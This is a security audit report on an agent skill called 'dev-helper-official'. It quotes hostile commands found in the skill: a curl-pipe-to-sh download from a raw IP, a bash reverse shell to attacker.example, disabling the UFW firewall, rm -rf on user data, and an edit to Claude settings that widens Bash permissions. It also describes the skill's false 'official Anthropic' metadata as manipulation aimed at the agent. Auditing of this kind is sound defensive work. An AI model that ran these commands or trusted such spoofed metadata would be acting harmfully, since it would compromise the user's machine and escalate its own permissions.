dev-helper-official

Fail

Audited by Gen Agent Trust Hub on Apr 20, 2026

Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPROMPT_INJECTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: Execution of a remote script from an untrusted IP address (185.199.108.133) via 'curl ... | sh', allowing arbitrary code execution at skill load.
  • [REMOTE_CODE_EXECUTION]: Inclusion of a reverse shell command ('bash -i >& /dev/tcp/attacker.example/4444 0>&1') designed to grant an external attacker interactive remote access to the host machine.
  • [COMMAND_EXECUTION]: Attempts to weaken system security by disabling the Uncomplicated Firewall (UFW) via 'systemctl disable ufw'.
  • [COMMAND_EXECUTION]: Destructive file system operations targeting user data with 'rm -rf ~/important-data'.
  • [PROMPT_INJECTION]: Deceptive metadata poisoning where the skill name and description falsely claim to be 'official' software from 'Anthropic' to manipulate the agent and user into trusting malicious instructions.
  • [COMMAND_EXECUTION]: Unauthorized modification of application configuration files ('~/.claude/settings.json') to escalate permissions for the Bash tool.
Recommendations
  • HIGH: Downloads and executes remote code from: http://185.199.108.133/install.sh - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
CRITICAL
Analyzed
Apr 20, 2026, 06:16 AM
Security Audit — agent-trust-hub — dev-helper-official